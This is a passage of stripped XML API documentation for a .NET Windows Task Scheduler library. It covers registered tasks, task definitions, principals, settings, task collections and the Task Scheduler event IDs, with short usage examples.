other .NET libraries. + + + + + Gets a value indicating whether this task is read only. Only available if is true. + + true if read only; otherwise, false. + + + Gets or sets the security descriptor for the task. + The security descriptor. + + + Gets the operational state of the registered task. + + + Gets or sets the that manages this task. + The task service. + + + Gets the name of the registered task. + + + Gets the number of times the registered task has missed a scheduled run. + Not supported under Task Scheduler 1.0. + + + Gets the path to where the registered task is stored. + + + Gets the XML-formatted registration information for the registered task. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Exports the task to the specified file in XML. + Name of the output file. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + A object that encapsulates the access control rules for the current task. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + + One of the values that specifies which group of access control + entries to retrieve. + + A object that encapsulates the access control rules for the current task. + + + Gets all instances of the currently running registered task. + A with all instances of current task. + Not supported under Task Scheduler 1.0. + + + + Gets the last registration time, looking first at the value and then looking for the + most recent registration event in the Event Log. + + of the last registration or if no value can be found. + + + Gets the times that the registered task is scheduled to run during a specified time. + The starting time for the query. + The ending time for the query. + The requested number of runs. A value of 0 will return all times requested. + The scheduled times that the task will run. + + + Gets the security descriptor for the task. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the task. + Not supported under Task Scheduler 1.0. + + + + Updates the task with any changes made to the by calling from the currently registered folder using the currently + registered name. + + Thrown if task was previously registered with a password. + + + Runs the registered task immediately. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + Run() + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + + + + + + Runs the registered task immediately using specified flags and a session identifier. + Defines how the task is run. + + The terminal server session in which you want to start the task. + + If the value is not passed into the parameter, then the value + specified in this parameter is ignored.If the value is passed into the flags parameter + and the sessionID value is less than or equal to 0, then an invalid argument error will be returned. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if no value is specified for the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is logged on to the specified session. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if a user is specified in the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is specified in the user parameter. + + + The user for which the task runs. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + RunEx(0, 0, "MyUserName") + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + This method will return without error, but the task will not run if the AllowDemandStart property of ITaskSettings is set to + false for the task. + + If RunEx is invoked from a disabled task, it will return null and the task will not be run. + + Not supported under Task Scheduler 1.0. + + + + + + + + + Applies access control list (ACL) entries described by a object to the file described by the current + object. + + + A object that describes an access control list (ACL) entry to apply to the current task. + + + Give read access to all authenticated users for a task. + + + + + + + Sets the security descriptor for the task. Not available to Task Scheduler 1.0. + The security descriptor for the task. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + Dynamically tries to load the assembly for the editor and displays it as editable for this task. + true if editor returns with OK response; false otherwise. + + The Microsoft.Win32.TaskSchedulerEditor.dll assembly must reside in the same directory as the Microsoft.Win32.TaskScheduler.dll + or in the GAC. + + + + Shows the property page for the task (v1.0 only). + + + Stops the registered task immediately. + + The Stop method stops all instances of the task. + + System account users can stop a task, users with Administrator group privileges can stop a task, and if a user has rights to + execute and read a task, then the user can stop the task. A user can stop the task instances that are running under the same + credentials as the user account. In all other cases, the user is denied access to stop the task. + + + + + Returns a that represents this instance. + A that represents this instance. + + + + Gets the ITaskDefinition for a V2 task and prevents the errors that come when connecting remotely to a higher version of the + Task Scheduler. + + The local task service. + The task instance. + if set to true this method will throw an exception if unable to get the task definition. + A valid ITaskDefinition that should not throw errors on the local instance. + Unable to get a compatible task definition for this version of the library. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Contains information about the compatibility of the current configuration with a specified version. + + + Gets the compatibility level. + The compatibility level. + + + Gets the property name with the incompatibility. + The property name. + + + Gets the reason for the incompatibility. + The reason. + + + Defines all the components of a task, such as the task settings, triggers, actions, and registration information. + + + Occurs when a property value changes. + + + Gets a collection of actions that are performed by the task. + + + + Gets or sets the data that is associated with the task. This data is ignored by the Task Scheduler service, but is used by + third-parties who wish to extend the task format. + + + For V1 tasks, this library makes special use of the SetWorkItemData and GetWorkItemData methods and does not expose that data + stream directly. Instead, it uses that data stream to hold a dictionary of properties that are not supported under V1, but can + have values under V2. An example of this is the value which is stored in the data stream. + + The library does not provide direct access to the V1 work item data. If using V2 properties with a V1 task, programmatic access + to the task using the native API will retrieve unreadable results from GetWorkItemData and will eliminate those property values + if SetWorkItemData is used. + + + + + Gets the lowest supported version that supports the settings for this . + + + Gets a collection of triggers that are used to start a task. + + + Gets or sets the XML-formatted definition of the task. + + + Gets the principal for the task that provides the security credentials for the task. + + + + Gets a class instance of registration information that is used to describe a task, such as the description of the task, the + author of the task, and the date the task is registered. + + + + Gets the settings that define how the Task Scheduler service performs the task. + + + Gets the XML Schema file for V1 tasks. + The for V1 tasks. + An object containing the XML Schema for V1 tasks. + + + + Determines whether this can use the Unified Scheduling Engine or if it contains unsupported properties. + + + if set to true throws an with details about unsupported properties in the Data + property of the exception. + + + true if this can use the Unified Scheduling Engine; otherwise, false. + + + Releases all resources used by this class. + + + Validates the current . + + if set to true throw a with details about invalid properties. + + true if current is valid; false if not. + + + Implements the operator + for triggers on a definition, effectively adding the trigger to the definition. + The definition to which the trigger is to be added. + The trigger to add. + The definition with the added trigger. + + + Implements the operator + for actions on a definition, effectively adding the action to the definition. + The definition to which the action is to be added. + The action to add. + The definition with the added action. + + + Gets the lowest supported version. + The output list. + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Provides the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + + This class can only be accessed via . It is used to set properties related to the principal + (account) that will run a task. + + TaskDefinition td = TaskService.Instance.NewTask(); + td.Principal.UserId = "SYSTEM"; + td.Principal.LogonType = TaskLogonType.ServiceAccount; + + + + Occurs when a property value changes. + + + + Gets the account associated with this principal. This value is pulled from the TaskDefinition's XMLText property if set. + + The account. + + + Gets or sets the name of the principal that is displayed in the Task Scheduler UI. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the identifier of the user group that is required to run the tasks that are associated with the principal. Setting + this property to something other than a null or empty string, will set the property to NULL and will set + the property to TaskLogonType.Group; + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier of the principal. + Not supported under Task Scheduler 1.0. + + + Gets or sets the security logon method that is required to run the tasks that are associated with the principal. + + TaskLogonType values of Group, None, or S4UNot are not supported under Task Scheduler 1.0. + + + + Gets or sets the task process security identifier (SID) type. + One of the enumeration constants. + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + Not supported under Task Scheduler versions prior to 2.1. + + + + Gets the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + + + + Gets or sets the identifier that is used to specify the privilege level that is required to run the tasks that are associated + with the principal. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets the user identifier that is required to run the tasks that are associated with the principal. Setting this property + to something other than a null or empty string, will set the property to NULL; + + + + Validates the supplied account against the supplied . + The user or group account name. + The SID type for the process. + true if supplied account can be used for the supplied SID type. + + + Releases all resources used by this class. + + + Gets a value indicating whether current Principal settings require a password to be provided. + true if settings requires a password to be provided; otherwise, false. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + List of security credentials for a principal under version 1.3 of the Task Scheduler. These security credentials define the security + context for the tasks that are associated with the principal. + + + + Gets the number of elements contained in the . + The number of elements contained in the . + + + Gets a value indicating whether the is read-only. + true if the is read-only; otherwise, false. + + + Gets or sets the element at the specified index. + The element at the specified index. + is not a valid index in the . + + The property is set and the is read-only. + + + + Adds an item to the . + The object to add to the . + The is read-only. + + + Determines whether the contains a specific value. + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + Copies to. + The array. + Index of the array. + + + Returns an enumerator that iterates through the collection. + A that can be used to iterate through the collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Removes all items from the . + The is read-only. + + + Inserts an item to the at the specified index. + The zero-based index at which should be inserted. + The object to insert into the . + is not a valid index in the . + The is read-only. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; + otherwise, false. This method also returns false if is not found in the original . + + The is read-only. + + + Removes the item at the specified index. + The zero-based index of the item to remove. + is not a valid index in the . + The is read-only. + + + Enumerates the privileges set for a principal under version 1.3 of the Task Scheduler. + + + Gets the element in the collection at the current position of the enumerator. + The element in the collection at the current position of the enumerator. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Advances the enumerator to the next element of the collection. + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + The collection was modified after the enumerator was created. + + + Sets the enumerator to its initial position, which is before the first element in the collection. + The collection was modified after the enumerator was created. + + + + Provides the administrative information that can be used to describe the task. This information includes details such as a + description of the task, the author of the task, the date the task is registered, and the security descriptor of the task. + + + + Occurs when a property value changes. + + + Gets or sets the author of the task. + + + Gets or sets the date and time when the task is registered. + + + Gets or sets the description of the task. + + + Gets or sets any additional documentation for the task. + + + Gets or sets the security descriptor of the task. + The security descriptor. + + + Gets or sets the security descriptor of the task. + Not supported under Task Scheduler 1.0. + + + + Gets or sets where the task originated from. For example, a task may originate from a component, service, application, or user. + + + + Gets or sets the URI of the task. + + Note: Breaking change in version 2.0. This property was previously of type . It was found that in + Windows 8, many of the native tasks use this property in a string format rather than in a URI format. + + + + Gets or sets the version number of the task. + + + Gets or sets an XML-formatted version of the registration information for the task. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to perform the task. + + + Occurs when a property value changes. + + + + Gets or sets a Boolean value that indicates that the task can be started by using either the Run command or the Context menu. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task may be terminated by using TerminateProcess. + Not supported under Task Scheduler 1.0. + + + Gets or sets an integer value that indicates which version of Task Scheduler a task is compatible with. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. If no value is + specified for this property, then the Task Scheduler service will not delete the task. + + + Gets and sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. A TimeSpan value + of 1 second indicates the task is set to delete when done. A value of TimeSpan.Zero indicates that the task should not be deleted. + + + A task expires after the end boundary has been exceeded for all triggers associated with the task. The end boundary for a + trigger is specified by the EndBoundary property of all trigger types. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the computer is running on battery power. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the task is triggered to run in a Remote + Applications Integrated Locally (RAIL) session. + + Property set for a task on a Task Scheduler version prior to 2.1. + + + + Gets or sets a Boolean value that indicates that the task is enabled. The task can be performed only when this setting is TRUE. + + + + + Gets or sets the amount of time that is allowed to complete the task. By default, a task will be stopped 72 hours after it + starts to run. + + + The amount of time that is allowed to complete the task. When this parameter is set to , the + execution time limit is infinite. + + + If a task is started on demand, the ExecutionTimeLimit setting is bypassed. Therefore, a task that is started on demand will not + be terminated if it exceeds the ExecutionTimeLimit. + + + + Gets or sets a Boolean value that indicates that the task will not be visible in the UI by default. + + + Gets or sets the information that the Task Scheduler uses during Automatic maintenance. + + + Gets or sets the policy that defines how the Task Scheduler handles multiple instances of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets the priority level of the task. + The priority. + Value set to AboveNormal or BelowNormal on Task Scheduler 1.0. + + + Gets or sets the number of times that the Task Scheduler will attempt to restart the task. + + The number of times that the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that specifies how long the Task Scheduler will attempt to restart the task. + + A value that specifies how long the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the user is logged on (v1.0 only) + + Property set for a task on a Task Scheduler version other than 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only when a network is available. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task will be stopped if the computer switches to battery power. + + + Gets or sets a Boolean value that indicates that the Unified Scheduling Engine will be utilized to run this task. + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a boolean value that indicates whether the task is automatically disabled every time Windows starts. + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will wake the computer when it is time to run the task. + + + + Gets or sets an XML-formatted definition of the task settings. + + + + Gets or sets the information that specifies how the Task Scheduler performs tasks when the computer is in an idle state. + + + + + Gets or sets the network settings object that contains a network profile identifier and name. If the RunOnlyIfNetworkAvailable + property of ITaskSettings is true and a network profile is specified in the NetworkSettings property, then the task will run + only if the specified network profile is available. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Collection of running tasks in a . This class has no public constructor and can only be accessed via the + properties and functions within . + + + + Gets the number of registered tasks in the collection. + + + Gets the specified running task from the collection. + The index of the running task to be retrieved. + A instance. + + + Releases all resources used by this class. + + + Gets an IEnumerator instance for this collection. + An enumerator. + + + Returns a that represents this instance. + A that represents this instance. + + + Releases all resources used by this class. + + + + Contains all the tasks that are registered within a . This class has no public constructor and can only be + accessed via the properties and functions within . + + + Potentially breaking change in 1.6.2 and later where under V1 the list previously included the '.job' extension on the task name. + This has been removed so that it is consistent with V2. + + + public class Program + { + bool RootFolderHasTask(string taskName) + { + if (TaskService.Instance.RootFolder.Tasks.Count > 0) + { + return TaskService.Instance.RootFolder.Tasks.Exists(taskName); + } + return false; + } + + TaskCollection GetRootTasksStartingWith(string value) + { + var pattern = $"^{Regex.Escape(value)}.*$"; + return TaskService.Instance.RootFolder.GetTasks(new Regex(pattern)); + } + + public static void Main() + { + foreach (var task in GetRootTasksStartingWith("MyCo")) + if (RootFolderHasTask(task.Name)) + Console.WriteLine(task.Name); + } + } + + + + Gets the number of registered tasks in the collection. + + + Gets or sets the regular expression filter for task names. + The regular expression filter. + + + Gets the specified registered task from the collection. + The index of the registered task to be retrieved. + A instance that contains the requested context. + + + Gets the named registered task from the collection. + The name of the registered task to be retrieved. + A instance that contains the requested context. + + + Releases all resources used by this class. + + + Determines whether the specified task exists. + The name of the task. + true if task exists; otherwise, false. + + + Gets the collection enumerator for the register task collection. + An for this collection. + + + Returns a that represents this instance. + A that represents this instance. + + + Internal constructor + TaskService instance + The filter. + + + Retrieves the current task. See for more information. + + + Releases all resources used by this class. + + + Moves to the next task. See MoveNext for more information. + true if next task found, false if no more tasks. + + + Reset task enumeration. See Reset for more information. + + + + Changes to tasks and the engine that cause events. + + + + Task Scheduler started an instance of a task for a user. + For detailed information, see the documentation for Event ID 100 on TechNet. + + + Task Scheduler failed to start a task for a user. + For detailed information, see the documentation for Event ID 101 on TechNet. + + + Task Scheduler successfully finished an instance of a task for a user. + For detailed information, see the documentation for Event ID 102 on TechNet. + + + Task Scheduler failed to start an instance of a task for a user. + For detailed information, see the documentation for Event ID 103 on TechNet. + + + Task Scheduler failed to log on the user. + For detailed information, see the documentation for Event ID 104 on TechNet. + + + Task Scheduler failed to impersonate a user. + For detailed information, see the documentation for Event ID 105 on TechNet. + + + The a user registered the Task Scheduler a task. + For detailed information, see the documentation for Event ID 106 on TechNet. + + + Task Scheduler launched an instance of a task due to a time trigger. + For detailed information, see the documentation for Event ID 107 on TechNet. + + + Task Scheduler launched an instance of a task due to an event trigger. + For detailed information, see the documentation for Event ID 108 on TechNet. + + + Task Scheduler launched an instance of a task due to a registration trigger. + For detailed information, see the documentation for Event ID 109 on TechNet. + + + Task Scheduler launched an instance of a task for a user. + For detailed information, see the documentation for Event ID 110 on TechNet. + + + Task Scheduler terminated an instance of a task due to exceeding the time allocated for execution, as configured in the task definition. + For detailed information, see the documentation for Event ID 111 on TechNet. + + + Task Scheduler could not start a task because the network was unavailable. Ensure the computer is connected to the required network as specified in the task. + For detailed information, see the documentation for Event ID 112 on TechNet. + + + The Task Scheduler registered the a task, but not all the specified triggers will start the task. Ensure all the task triggers are valid. + For detailed information, see the documentation for Event ID 113 on TechNet. + + + Task Scheduler could not launch a task as scheduled. Instance is started now as required by the configuration option to start the task when available, if the scheduled time is missed. + For detailed information, see the documentation for Event ID 114 on TechNet. + + + Task Scheduler failed to roll back a transaction when updating or deleting a task. + For detailed information, see the documentation for Event ID 115 on TechNet. + + + Task Scheduler saved the configuration for a task, but the credentials used to run the task could not be stored. + For detailed information, see the documentation for Event ID 116 on TechNet. + + + Task Scheduler launched an instance of a task due to an idle condition. + For detailed information, see the documentation for Event ID 117 on TechNet. + + + Task Scheduler launched an instance of a task due to system startup. + For detailed information, see the documentation for Event ID 118 on TechNet. + + + Task Scheduler launched an instance of a task due to a user logon. + For detailed information, see the documentation for Event ID 119 on TechNet. + + + Task Scheduler launched an instance of a task due to a user connecting to the console. + For detailed information, see the documentation for Event ID 120 on TechNet. + + + Task Scheduler launched an instance of a task due to a user disconnecting from the console. + For detailed information, see the documentation for Event ID 121 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely connecting. + For detailed information, see the documentation for Event ID 122 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely disconnecting. + For detailed information, see the documentation for Event ID 123 on TechNet. + + + Task Scheduler launched an instance of a task due to a user locking the computer. + For detailed information, see the documentation for Event ID 124 on TechNet. + + + Task Scheduler launched an instance of a task due to a user unlocking the computer. + For detailed information, see the documentation for Event ID 125 on TechNet. + + + Task Scheduler failed to execute a task. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 126 on TechNet. + + + Task Scheduler failed to execute a task due to a shutdown race condition. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 127 on TechNet. + + + Task Scheduler did not launch a task because the current time exceeds the configured task end time. + For detailed information, see the documentation for Event ID 128 on TechNet. + + + Task Scheduler launched an instance of a task in a new process. + For detailed information, see the documentation for Event ID 129 on TechNet. + + + The Task Scheduler service failed to start a task due to the service being busy. + For detailed information, see the documentation for Event ID 130 on TechNet. + + + Task Scheduler failed to start a task because the number of tasks in the task queue exceeds the quota currently configured. + For detailed information, see the documentation for Event ID 131 on TechNet. + + + The Task Scheduler task launching queue quota is approaching its preset limit of tasks currently configured. + For detailed information, see the documentation for Event ID 132 on TechNet. + + + Task Scheduler failed to start a task in the task engine for a user. + For detailed information, see the documentation for Event ID 133 on TechNet. + + + Task Engine for a user is approaching its preset limit of tasks. + For detailed information, see the documentation for Event ID 134 on TechNet. + + + Task Scheduler did not launch a task because launch condition not met, machine not idle. + For detailed information, see the documentation for Event ID 135 on TechNet. + + + A user updated Task Scheduler a task + For detailed information, see the documentation for Event ID 140 on TechNet. + + + A user deleted Task Scheduler a task + For detailed information, see the documentation for Event ID 141 on TechNet. + + + A user disabled Task Scheduler a task + For detailed information, see the documentation for Event ID 142 on TechNet. + + + Task Scheduler woke up the computer to run a task. + For detailed information, see the documentation for Event ID 145 on TechNet. + + + Task Scheduler failed to subscribe the event trigger for a task. + For detailed information, see the documentation for Event ID 150 on TechNet. + + + Task Scheduler launched an action in an instance of a task. + For detailed information, see the documentation for Event ID 200 on TechNet. + + + Task Scheduler successfully completed a task instance and action. + For detailed information, see the documentation for Event ID 201 on TechNet. + + + Task Scheduler failed to complete an instance of a task with an action. + For detailed information, see the documentation for Event ID 202 on TechNet. + + + Task Scheduler failed to launch an action in a task instance. + For detailed information, see the documentation for Event ID 203 on TechNet. + + + Task Scheduler failed to retrieve the event triggering values for a task . The event will be ignored. + For detailed information, see the documentation for Event ID 204 on TechNet. + + + Task Scheduler failed to match the pattern of events for a task. The events will be ignored. + For detailed information, see the documentation for Event ID 205 on TechNet. + + + Task Scheduler is shutting down the a task engine. + For detailed information, see the documentation for Event ID 301 on TechNet. + + + Task Scheduler is shutting down the a task engine due to an error. + For detailed information, see the documentation for Event ID 303 on TechNet. + + + Task Scheduler sent a task to a task engine. + For detailed information, see the documentation for Event ID 304 on TechNet. + + + Task Scheduler did not send a task to a task engine. + For detailed information, see the documentation for Event ID 305 on TechNet. + + + For a Task Scheduler task engine, the thread pool failed to process the message. + For detailed information, see the documentation for Event ID 306 on TechNet. + + + The Task Scheduler service failed to connect to a task engine process. + For detailed information, see the documentation for Event ID 307 on TechNet. + + + Task Scheduler connected to a task engine process. + For detailed information, see the documentation for Event ID 308 on TechNet. + + + There are Task Scheduler tasks orphaned during a task engine shutdown. + For detailed information, see the documentation for Event ID 309 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 310 on TechNet. + + + Task Scheduler failed to start a task engine process due to an error. + For detailed information, see the documentation for Event ID 311 on TechNet. + + + Task Scheduler created the Win32 job object for a task engine. + For detailed information, see the documentation for Event ID 312 on TechNet. + + + The Task Scheduler channel is ready to send and receive messages. + For detailed information, see the documentation for Event ID 313 on TechNet. + + + Task Scheduler has no tasks running for a task engine, and the idle timer has started. + For detailed information, see the documentation for Event ID 314 on TechNet. + + + A task engine process failed to connect to the Task Scheduler service. + For detailed information, see the documentation for Event ID 315 on TechNet. + + + A task engine failed to send a message to the Task Scheduler service. + For detailed information, see the documentation for Event ID 316 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 317 on TechNet. + + + Task Scheduler shut down a task engine process. + For detailed information, see the documentation for Event ID 318 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to launch a task. + For detailed information, see the documentation for Event ID 319 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to stop a task instance. + For detailed information, see the documentation for Event ID 320 on TechNet. + + + Task Scheduler did not launch a task because an instance of the same task is already running. + For detailed information, see the documentation for Event ID 322 on TechNet. + + + Task Scheduler stopped an instance of a task in order to launch a new instance. + For detailed information, see the documentation for Event ID 323 on TechNet. + + + Task Scheduler queued an instance of a task and will launch it as soon as another instance completes. + For detailed information, see the documentation for Event ID 324 on TechNet. + + + Task Scheduler queued an instance of a task that will launch immediately. + For detailed information, see the documentation for Event ID 325 on TechNet. + + + Task Scheduler did not launch a task because the computer is running on batteries. If launching the task on batteries is required, change the respective flag in the task configuration. + For detailed information, see the documentation for Event ID 326 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is switching to battery power. + For detailed information, see the documentation for Event ID 327 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is no longer idle. + For detailed information, see the documentation for Event ID 328 on TechNet. + + + Task Scheduler stopped an instance of a task because the task timed out. + For detailed information, see the documentation for Event ID 329 on TechNet. + + + Task Scheduler stopped an instance of a task as request by a user . + For detailed information, see the documentation for Event ID 330 on TechNet. + + + Task Scheduler will continue to execute an instance of a task even after the designated timeout, due to a failure to create the timeout mechanism. + For detailed information, see the documentation for Event ID 331 on TechNet. + + + Task Scheduler did not launch a task because a user was not logged on when the launching conditions were met. Ensure the user is logged on or change the task definition to allow the task to launch when the user is logged off. + For detailed information, see the documentation for Event ID 332 on TechNet. + + + The Task Scheduler service has started. + For detailed information, see the documentation for Event ID 400 on TechNet. + + + The Task Scheduler service failed to start due to an error. + For detailed information, see the documentation for Event ID 401 on TechNet. + + + Task Scheduler service is shutting down. + For detailed information, see the documentation for Event ID 402 on TechNet. + + + The Task Scheduler service has encountered an error. + For detailed information, see the documentation for Event ID 403 on TechNet. + + + The Task Scheduler service has encountered an RPC initialization error. + For detailed information, see the documentation for Event ID 404 on TechNet. + + + The Task Scheduler service has failed to initialize COM. + For detailed information, see the documentation for Event ID 405 on TechNet. + + + The Task Scheduler service failed to initialize the credentials store. + For detailed information, see the documentation for Event ID 406 on TechNet. + + + Task Scheduler service failed to initialize LSA. + For detailed information, see the documentation for Event ID 407 on TechNet. + + + Task Scheduler service failed to initialize idle state detection module. Idle tasks may not be started as required. + For detailed information, see the documentation for Event ID 408 on TechNet. + + + The Task Scheduler service failed to initialize a time change notification. System time updates may not be picked by the service and task schedules may not be updated. + For detailed information, see the documentation for Event ID 409 on TechNet. + + + Task Scheduler service received a time system change notification. + For detailed information, see the documentation for Event ID 411 on TechNet. + + + Task Scheduler service failed to launch tasks triggered by computer startup. Restart the Task Scheduler service. + For detailed information, see the documentation for Event ID 412 on TechNet. + + + Task Scheduler service started Task Compatibility module. + For detailed information, see the documentation for Event ID 700 on TechNet. + + + Task Scheduler service failed to start Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 701 on TechNet. + + + Task Scheduler failed to initialize the RPC server for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 702 on TechNet. + + + Task Scheduler failed to initialize Net Schedule API for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 703 on TechNet. + + + Task Scheduler failed to initialize LSA for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 704 on TechNet. + + + Task Scheduler failed to start directory monitoring for the Task Compatibility module. + For detailed information, see the documentation for Event ID 705 on TechNet. + + + Task Compatibility module failed to update a task to the required status. + For detailed information, see the documentation for Event ID 706 on TechNet. + + + Task Compatibility module failed to delete a task. + For detailed information, see the documentation for Event ID 707 on TechNet. + + + Task Compatibility module failed to set a security descriptor for a task. + For detailed information, see the documentation for Event ID 708 on TechNet. + + + Task Compatibility module failed to update a task. + For detailed information, see the documentation for Event ID 709 on TechNet. + + + Task Compatibility module failed to upgrade existing tasks. Upgrade will be attempted again next time 'Task Scheduler' service starts. + For detailed information, see the documentation for Event ID 710 on TechNet. + + + Task Compatibility module failed to upgrade NetSchedule account. + For detailed information, see the documentation for Event ID 711 on TechNet. + + + Task Compatibility module failed to read existing store to upgrade tasks. + For detailed information, see the documentation for Event ID 712 on TechNet. + + + Task Compatibility module failed to load a task for upgrade. + For detailed information, see the documentation for Event ID 713 on TechNet. + + + Task Compatibility module failed to register a task for upgrade. + For detailed information, see the documentation for Event ID 714 on TechNet. + + + Task Compatibility module failed to delete LSA store for upgrade. + For detailed information, see the documentation for Event ID 715 on TechNet. + + + Task Compatibility module failed to upgrade existing scheduled tasks. + For detailed information, see the documentation for Event ID 716 on TechNet. + + + Task Compatibility module failed to determine if upgrade is needed. + For detailed information, see the documentation for Event ID 717 on TechNet. + + + Task scheduler was unable to upgrade the credential store from the Beta 2 version. You may need to re-register any tasks that require passwords. + For detailed information, see the documentation for Event ID 718 on TechNet. + + + A unknown value. + + + + Historical event information for a task. This class wraps and extends the class. + + + For events on systems prior to Windows Vista, this class will only have information for the TaskPath, TimeCreated and EventId properties. + + + + + Gets the activity id. This value is null for V1 events. + + + + + An indexer that gets the value of each of the data item values. This value is null for V1 events. + + + The data values. + + + + + Gets the event id. + + + + + Gets the underlying . This value is null for V1 events. + + + + + Gets the from the . + + + The . If not found, returns . + + + + + Gets the level. This value is null for V1 events. + + + + + Gets the op code. This value is null for V1 events. + + + + + Gets the process id. This value is null for V1 events. + + + + + Gets the record id. This value is null for V1 events. + + + + + Gets the task category. This value is null for V1 events. + + + + + Gets the task path. + + + + + Gets the time created. + + + + + Gets the user id. This value is null for V1 events. + + + + + Gets the version. This value is null for V1 events. + + + + + Gets the data value from the task specific event data item list. + + The name of the data element. + Contents of the requested data element if found. null if no value found. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the other parameter.Zero This object is equal to other. Greater than zero This object is greater than other. + + + + + Get indexer class for data values. + + + + + Gets the value of the specified property name. + + + The value. + + Name of the property. + Value of the specified property name. null if property does not exist. + + + + An enumerator over a task's history of events. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + + + Advances the enumerator to the next element of the collection. + + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + + The collection was modified after the enumerator was created. + + + + + Sets the enumerator to its initial position, which is before the first element in the collection. + + + The collection was 